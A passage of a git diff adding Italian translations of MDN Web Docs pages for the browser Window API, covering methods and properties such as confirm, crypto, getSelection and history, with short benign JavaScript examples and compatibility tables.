+      Un valore booleano che indica se è stato selezionato OK (<code>true</code>) o Annulla (<code>false</code>).</p>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval notranslate">if (window.confirm("vuoi vedere il mio vestito nuovo?")) {
+    window.open("vestito.html", "Il mio vestito nuovo", "");
+}
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Le finestre di dialogo sono finestre modali, cioè impediscono all'utente di accedere al resto dell'interfaccia del programma finchè la finestra non viene chiusa. Per questo motivo, è meglio non abusare delle funzioni che creano questo tipo di finestre.</p>
+
+<p>I programmatori che utilizzano Chrome (per esempio per le estensioni) dovrebbero utilizzare i metodi di <a href="it/NsIPromptService">nsIPromptService</a>, invece di alert.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
+
+<h2 id="Altri_metodi" name="Altri_metodi">Altri metodi</h2>
+
+<p><a href="it/DOM/window.alert">alert</a>, <a href="it/DOM/window.prompt">prompt</a></p>
diff --git a/files/it/web/api/window/crypto/index.html b/files/it/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..65107e937c
--- /dev/null
+++ b/files/it/web/api/window/crypto/index.html
@@ -0,0 +1,90 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+translation_of: Web/API/Window/crypto
+---
+<div>{{APIRef}}</div>
+
+<p>La proprietà di sola lettura {{domxref("Window.crypto")}} ritorna l'oggetto {{domxref("Crypto")}} associato all'oggetto globale. Questo oggetto permette alle pagine web di accedere al alcuni servizi si crittografia.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // per IE 11
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>44 {{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 {{property_prefix("ms")}}</td>
+   <td>20</td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>L'oggetto globale {{domxref("Window")}}</li>
+</ul>
diff --git a/files/it/web/api/window/defaultstatus/index.html b/files/it/web/api/window/defaultstatus/index.html
new file mode 100644
index 0000000000..5212fabcd7
--- /dev/null
+++ b/files/it/web/api/window/defaultstatus/index.html
@@ -0,0 +1,38 @@
+---
+title: Window.defaultStatus
+slug: Web/API/Window/defaultstatus
+translation_of: Web/API/Window/defaultStatus
+---
+<div>{{ApiRef()}}</div>
+
+<p>Legge o imposta il testo predefinito della barra di stato della finestra a cui si riferisce l'oggetto <code>window</code>.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>messaggio</i> = window.defaultStatus
+window.defaultStatus =
+<i>messaggio</i>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>messaggio</code> è una stringa che contiene il testo che deve apparire nella barra di stato.</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>&lt;html&gt;
+ &lt;body onload="window.defaultStatus='ciao!';"/&gt;
+  &lt;button onclick="window.confirm('Sei sicuro di volertene andare?');"&gt;chiudi&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/htm&gt;
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Per impostare lo stato della finestra dopo che questa si è aperta, si può utilizzare <a href="it/DOM/window.status">window.status</a>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/devicemotion_event/index.html b/files/it/web/api/window/devicemotion_event/index.html
new file mode 100644
index 0000000000..bbc0b22717
--- /dev/null
+++ b/files/it/web/api/window/devicemotion_event/index.html
@@ -0,0 +1,97 @@
+---
+title: devicemotion
+slug: Web/API/Window/devicemotion_event
+translation_of: Web/API/Window/devicemotion_event
+---
+<p>L'evento devicemotion viene attivato a intervalli regolari e indica la quantità di forza fisica dell'accellezazione che il dispositivo riceve in quel dato momento. Fornisce inoltre informazioni circa la velocità di rotazione, se disponibili.</p>
+
+<h2 id="Informazioni_Generali">Informazioni Generali</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specifica</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/orientation-event/#devicemotion">DeviceOrientation Event</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaccia</dt>
+ <dd style="margin: 0 0 0 120px;">DeviceMotionEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancellabile</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bersaglio</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>window</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Azione predefinita</dt>
+ <dd style="margin: 0 0 0 120px;">nessuna</dd>
+</dl>
+
+<h2 id="Propietà">Propietà</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>acceleration</code> {{readonlyInline}}</td>
+   <td>{{domxref("DeviceAcceleration")}}</td>
+   <td>The acceleration of the device. This value has taken into account the effect of gravity and removed it from the figures. This value may not exist if the hardware doesn't know how to remove gravity from the acceleration data.</td>
+  </tr>
+  <tr>
+   <td><code>accelerationIncludingGravity </code>{{readonlyInline}}</td>
+   <td>{{domxref("DeviceAcceleration")}}</td>
+   <td>The acceleration of the device. This value includes the effect of gravity, and may be the only value available on devices that don't have a gyroscope to allow them to properly remove gravity from the data.</td>
+  </tr>
+  <tr>
+   <td><code>interval</code> {{readonlyInline}}</td>
+   <td>double</td>
+   <td>The interval, in milliseconds, at which the DeviceMotionEvent is fired. The next event will be fired in approximately this amount of time.</td>
+  </tr>
+  <tr>
+   <td><code>rotationRate</code> {{readonlyInline}}</td>
+   <td>{{domxref("DeviceRotationRate")}}</td>
+   <td>The rates of rotation of the device about all three axes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">function handleMotionEvent(event) {
+
+    var x = event.accelerationIncludingGravity.x;
+    var y = event.accelerationIncludingGravity.y;
+    var z = event.accelerationIncludingGravity.z;
+
+    // Fai qualcosa di maestoso.
+}
+
+window.addEventListener("devicemotion", handleMotionEvent, true);
+</pre>
+
+<h2 id="Eventi_correlati">Eventi correlati</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/deviceorientation"><code>deviceorientation</code></a></li>
+</ul>
diff --git a/files/it/web/api/window/document/index.html b/files/it/web/api/window/document/index.html
new file mode 100644
index 0000000000..5d98a10385
--- /dev/null
+++ b/files/it/web/api/window/document/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.document
+slug: Web/API/Window/document
+translation_of: Web/API/Window/document
+---
+<div>{{APIRef}}</div>
+
+<p>Restituisce un riferimento al documento contenuto nella finestra.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>doc</i> = window.document
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>doc</code> è un riferimento a un oggetto <a href="it/DOM/document">document</a>.</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+   &lt;title&gt;Ciao, mondo!&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;script type="text/javascript"&gt;
+   var doc = window.document;
+   alert( doc.title);    // produce: Ciao, mondo!
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>HTML</p>
diff --git a/files/it/web/api/window/focus/index.html b/files/it/web/api/window/focus/index.html
new file mode 100644
index 0000000000..696383a27c
--- /dev/null
+++ b/files/it/web/api/window/focus/index.html
@@ -0,0 +1,26 @@
+---
+title: Window.focus()
+slug: Web/API/Window/focus
+translation_of: Web/API/Window/focus
+---
+<div>{{APIRef}}</div>
+
+<p>Seleziona la finestra, come se l'utente avesse cliccato su di essa.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.focus()
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">if (click) { window.focus(); }
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Non ha effetto se la finestra è già selezionata. Si veda anche <a href="it/DOM/window.blur">window.blur</a>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/forward/index.html b/files/it/web/api/window/forward/index.html
new file mode 100644
index 0000000000..e07fcaa219
--- /dev/null
+++ b/files/it/web/api/window/forward/index.html
@@ -0,0 +1,22 @@
+---
+title: Window.forward()
+slug: Web/API/Window/forward
+translation_of: Web/API/Window/forward
+---
+<div>{{APIRef}}</div>
+
+<p>Visualizza la pagina successiva che si trova nella Cronologia, come se l'utente avesse cliccato sul bottone Avanti.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.forward()
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">function vaiAvanti() { if (possoAndareAvanti) window.forward(); }
+</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/getselection/index.html b/files/it/web/api/window/getselection/index.html
new file mode 100644
index 0000000000..c4f561801e
--- /dev/null
+++ b/files/it/web/api/window/getselection/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.getSelection()
+slug: Web/API/Window/getSelection
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Window/getSelection
+---
+<p>{{ ApiRef() }}</p>
+
+<p>Restituisce un oggetto <code>selection</code> che rappresenta il testo selezionato dall'utente.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><em>selection</em> = <em>window</em>.getSelection() ;
+</pre>
+
+<ul>
+ <li><code>selection</code> è un oggetto di tipo <a href="it/DOM/Selection">Selection</a>.</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">function esempio() {
+   var selezione = window.getSelection();
+   window.alert(selezione);
+   var range = selezione.getRangeAt(0);
+   // fai qualcosa con il range
+}
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>In JavaScript, quando un oggetto selezione viene passato a una funzione che si aspetta una stringa (come <code><a href="it/DOM/window.alert">window.alert</a></code> o <code><a href="it/DOM/document.write">document.write</a></code>), al suo posto viene passata una stringa, generalmente corrispondente al testo selezionato. Questo fa si che selection assomigli a una stringa, mentre invece è un normale oggetto dotato di metodi e proprietà. La stringa passata è infatti il risultato di <code><a href="/it/docs/Web/JavaScript/Reference/Global_Objects/String/toString">toString()</a></code>.</p>
+
+<p>Nell'esempio sopra, <code>selezione</code> è automaticamente "convertito" quando viene passato a <code><a href="it/DOM/window.alert">window.alert</a></code>. Tuttavia per utilizzare una proprietà o un metodo della classe <a href="it/JS/String">String</a>, come ad esempio <code><a href="it/JS/String.prototype.length">length</a></code> o <code><a href="it/JS/String.prototype.substr">substr</a></code>, occorre chiamare esplicitamente il metodo <code>toString</code>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuna specifica.</p>
+
+<h2 id="Vedi_anche" name="Vedi_anche">Vedi anche</h2>
+
+<p><a href="it/DOM/Selection">Selection</a>, <a href="it/DOM/range">Range</a></p>
diff --git a/files/it/web/api/window/history/index.html b/files/it/web/api/window/history/index.html
new file mode 100644
index 0000000000..5f087d8d0e
--- /dev/null
+++ b/files/it/web/api/window/history/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.history
+slug: Web/API/Window/history
+translation_of: Web/API/Window/history
+---
+<div>{{APIRef}}</div>
+
+<p>Restituisce un riferimento all'oggetto <code>history</code>, che fornisce un'interfaccia per manipolare la Cronologia del browser.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>oggettoHistory</i> = window.history
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>oggettoHistory</code> è un riferimento a un oggetto <code>history</code></li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>h = window.history;
+if ( h.length ) { // se c'è una cronologia
+    h.back();     // vai indietro nella cronologia
+}
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>L'oggetto <code>history</code> fornisce la seguente interfaccia: current, length, next, previous, back(), forward(), go().</p>
+
+<p>E' possibile accedere a questa interfaccia dall'oggetto <code>window</code> chiamando, per esempio, <code>window.history.back()</code>.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>HTML5</p>
diff --git a/files/it/web/api/window/home/index.html b/files/it/web/api/window/home/index.html
new file mode 100644
index 0000000000..ab9086cc2f
--- /dev/null
+++ b/files/it/web/api/window/home/index.html
@@ -0,0 +1,24 @@
+---
+title: Window.home()
+slug: Web/API/Window/home
+translation_of: Web/API/Window/home
+---
+<div>{{APIRef}}{{ Non-standard_header() }} {{ obsolete_header(31) }}</div>
+
+<p>Rimanda il browser alla home page impostata.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.home()
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre>function vai_a_casa() {
+  window.home();
+}
+</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuna specifica.</p>
diff --git a/files/it/web/api/window/index.html b/files/it/web/api/window/index.html
new file mode 100644
index 0000000000..af317f6eab
--- /dev/null
+++ b/files/it/web/api/window/index.html
@@ -0,0 +1,686 @@
+---
+title: Window
+slug: Web/API/Window
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - SezioneIncompleta
+  - TraduzioneIncompleta
+  - Tutte_le_categorie
+translation_of: Web/API/Window
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Introduzione" name="Introduzione">Introduzione</h3>
+
+<p>Questo capitolo contiene una breve reference per tutti i metodi, proprietà, ed eventi disponibili attraverso l'oggetto <code>window</code> del DOM. L'oggetto <code>window</code> implementa l'interfaccia<em>window</em> , la quale eredita dall'interfaccia <strong>AbstractView</strong>.</p>
+
+<p>L'oggetto <code>window</code> rappresenta una finestra, contenente un documento DOM. La proprietà <span class="seoSummary"><code>document</code></span> punta ad un <span class="seoSummary"><a href="https://developer.mozilla.org/en-US/docs/DOM/document">DOM document</a> ( documento DOM ) caricato in quella pagina</span></p>
+
+<p>Ogni tab che viene aperta contiene il suo personale oggetto <code>window</code>; ciò significa che l'oggetto <code>window</code> non è condiviso fra le varie tab aperte nella stessa finestra. Solo due metodi vengono condivisi dai vari oggetti <code>window</code> presenti in una stessa finestra, e sono i metodi <a href="it/DOM/window.resizeTo">window.resizeTo</a> e <a href="it/DOM/window.resizeBy">window.resizeBy</a>.</p>
+
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+
+<dl>
+ <dt><a href="it/Components_object">window.Components</a></dt>
+ <dd>The entry point to many <a href="it/XPCOM">XPCOM</a> features. Some properties, e.g. <a href="it/Components.classes">classes</a>, are only available to sufficiently privileged code.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.content">window.content</a> and window._content</dt>
+ <dd>Returns a reference to the content element in the current window. The variant with underscore is deprecated.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.closed">window.closed</a></dt>
+ <dd>This property indicates whether the current window is closed or not.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.controllers">window.controllers</a></dt>
+ <dd>Returns the XUL controller objects for the current chrome window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.crypto">window.crypto</a></dt>
+ <dd>Returns the browser crypto object.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.defaultStatus">window.defaultStatus</a></dt>
+ <dd>Gets/sets the status bar text for the given window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.directories">window.directories</a></dt>
+ <dd>Returns a reference to the directories toolbar in the current chrome.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.document">window.document</a></dt>
+ <dd>Returns a reference to the document that the window contains.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.frameElement">window.frameElement</a></dt>
+ <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.frames">window.frames</a></dt>
+ <dd>Returns an array of the subframes in the current window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.history">window.history</a></dt>
+ <dd>Returns a reference to the history object.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.innerHeight">window.innerHeight</a></dt>
+ <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.innerWidth">window.innerWidth</a></dt>
+ <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.length">window.length</a></dt>
+ <dd>Returns the number of frames in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.location">window.location</a></dt>
+ <dd>Gets/sets the location, or current URL, of the window object.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.locationbar">window.locationbar</a></dt>
+ <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.menubar">window.menubar</a></dt>
+ <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.name">window.name</a></dt>
+ <dd>Gets/sets the name of the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator">window.navigator</a></dt>
+ <dd>Returns a reference to the navigator object.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.appCodeName">window.navigator.appCodeName</a></dt>
+ <dd>Returns the internal "code" name of the current browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.appName">window.navigator.appName</a></dt>
+ <dd>Returns the official name of the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.appVersion">window.navigator.appVersion</a></dt>
+ <dd>Returns the version of the browser as a string.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.cookieEnabled">window.navigator.cookieEnabled</a></dt>
+ <dd>Returns a boolean indicating whether cookies are enabled in the browser or not.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.javaEnabled">window.navigator.javaEnabled()</a></dt>
+ <dd>Indicates whether Java is enabled in the host browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.language">window.navigator.language</a></dt>
+ <dd>Returns a string representing the language version of the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.mimeTypes">window.navigator.mimeTypes</a></dt>
+ <dd>Returns a list of the MIME types supported by the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.oscpu">window.navigator.oscpu</a></dt>
+ <dd>Returns a string that represents the current operating system.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.platform">window.navigator.platform</a></dt>
+ <dd>Returns a string representing the platform of the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.plugins">window.navigator.plugins</a></dt>
+ <dd>Returns an array of the plugins installed in the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.product">window.navigator.product</a></dt>
+ <dd>Returns the product name of the browser (e.g. "Gecko").</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.productSub">window.navigator.productSub</a></dt>
+ <dd>Returns the product version number (e.g. "5.0").</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.userAgent">window.navigator.userAgent</a></dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.vendor">window.navigator.vendor</a></dt>
+ <dd>Returns the vendor name of the current browser (e.g. "Netscape6").</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.navigator.vendorSub">window.navigator.vendorSub</a></dt>
+ <dd>Returns the vendor version number (e.g. "6.1").</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.opener">window.opener</a></dt>
+ <dd>Returns a reference to the window that opened this current window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.outerHeight">window.outerHeight</a></dt>
+ <dd>Gets the height of the outside of the browser window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.outerWidth">window.outerWidth</a></dt>
+ <dd>Gets the width of the outside of the browser window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.pageXOffset">window.pageXOffset</a></dt>
+ <dd>Gets the amount of content that has been hidden by scrolling to the right.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.pageYOffset">window.pageYOffset</a></dt>
+ <dd>Gets the amount of content that has been hidden by scrolling down.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.parent">window.parent</a></dt>
+ <dd>Returns a reference to the parent of the current window or subframe.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.personalbar">window.personalbar</a></dt>
+ <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.pkcs11">window.pkcs11</a></dt>
+ <dd>Returns the pkcs11 object, which can be used to install drivers and other software associated with the pkcs11 protocol.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.prompter">window.prompter</a></dt>
+ <dd>Returns a reference to the prompt window, if any, currently displayed.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen">window.screen</a></dt>
+ <dd>Returns a reference to the screen object associated with the window.</dd>
+</dl>
+
+<p><span class="comment">The following is duplicated on DOM:window.screen</span></p>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.availTop">window.screen.availTop</a></dt>
+ <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.availLeft">window.screen.availLeft</a></dt>
+ <dd>Returns the first available pixel available from the left side of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.availHeight">window.screen.availHeight</a></dt>
+ <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.availWidth">window.screen.availWidth</a></dt>
+ <dd>Returns the amount of horizontal space in pixels available to the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.colorDepth">window.screen.colorDepth</a></dt>
+ <dd>Returns the color depth of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.height">window.screen.height</a></dt>
+ <dd>Returns the height of the screen in pixels.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.left">window.screen.left</a></dt>
+ <dd>Gets/sets the current distance in pixels from the left side of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.pixelDepth">window.screen.pixelDepth</a></dt>
+ <dd>Gets the bit depth of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.top">window.screen.top</a></dt>
+ <dd>Gets/sets the distance from the top of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screen.width">window.screen.width</a></dt>
+ <dd>Returns the width of the screen.</dd>
+</dl>
+
+<p><span class="comment">end of duplicated content</span></p>
+
+<dl>
+ <dt><a href="it/DOM/window.screenX">window.screenX</a></dt>
+ <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.screenY">window.screenY</a></dt>
+ <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollbars">window.scrollbars</a></dt>
+ <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollMaxX">window.scrollMaxX</a></dt>
+ <dd>The maximum offset that the window can be scrolled to horizontally.</dd>
+ <dd>(i.e., the document width minus the viewport width)</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollMaxY">window.scrollMaxY</a></dt>
+ <dd>The maximum offset that the window can be scrolled to vertically.</dd>
+ <dd>(i.e., the document height minus the viewport height)</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollX">window.scrollX</a></dt>
+ <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollY">window.scrollY</a></dt>
+ <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.self">window.self</a></dt>
+ <dd>Returns an object reference to the window object itself.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.sidebar">window.sidebar</a></dt>
+ <dd>Returns a reference to the window object of the sidebar.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.status">window.status</a></dt>
+ <dd>Gets/sets the text in the statusbar at the bottom of the browser.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.statusbar">window.statusbar</a></dt>
+ <dd>Returns the statusbar object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.toolbar">window.toolbar</a></dt>
+ <dd>Returns the toolbar object, whose visibility can be toggled in the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.top">window.top</a></dt>
+ <dd>Returns a reference to the topmost window in the window hierarchy.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.window">window.window</a></dt>
+ <dd>Returns a reference to the current window.</dd>
+</dl>
+
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+
+<dl>
+ <dt><a href="it/DOM/window.alert">window.alert</a></dt>
+ <dd>Displays an alert dialog.</dd>
+</dl>
+
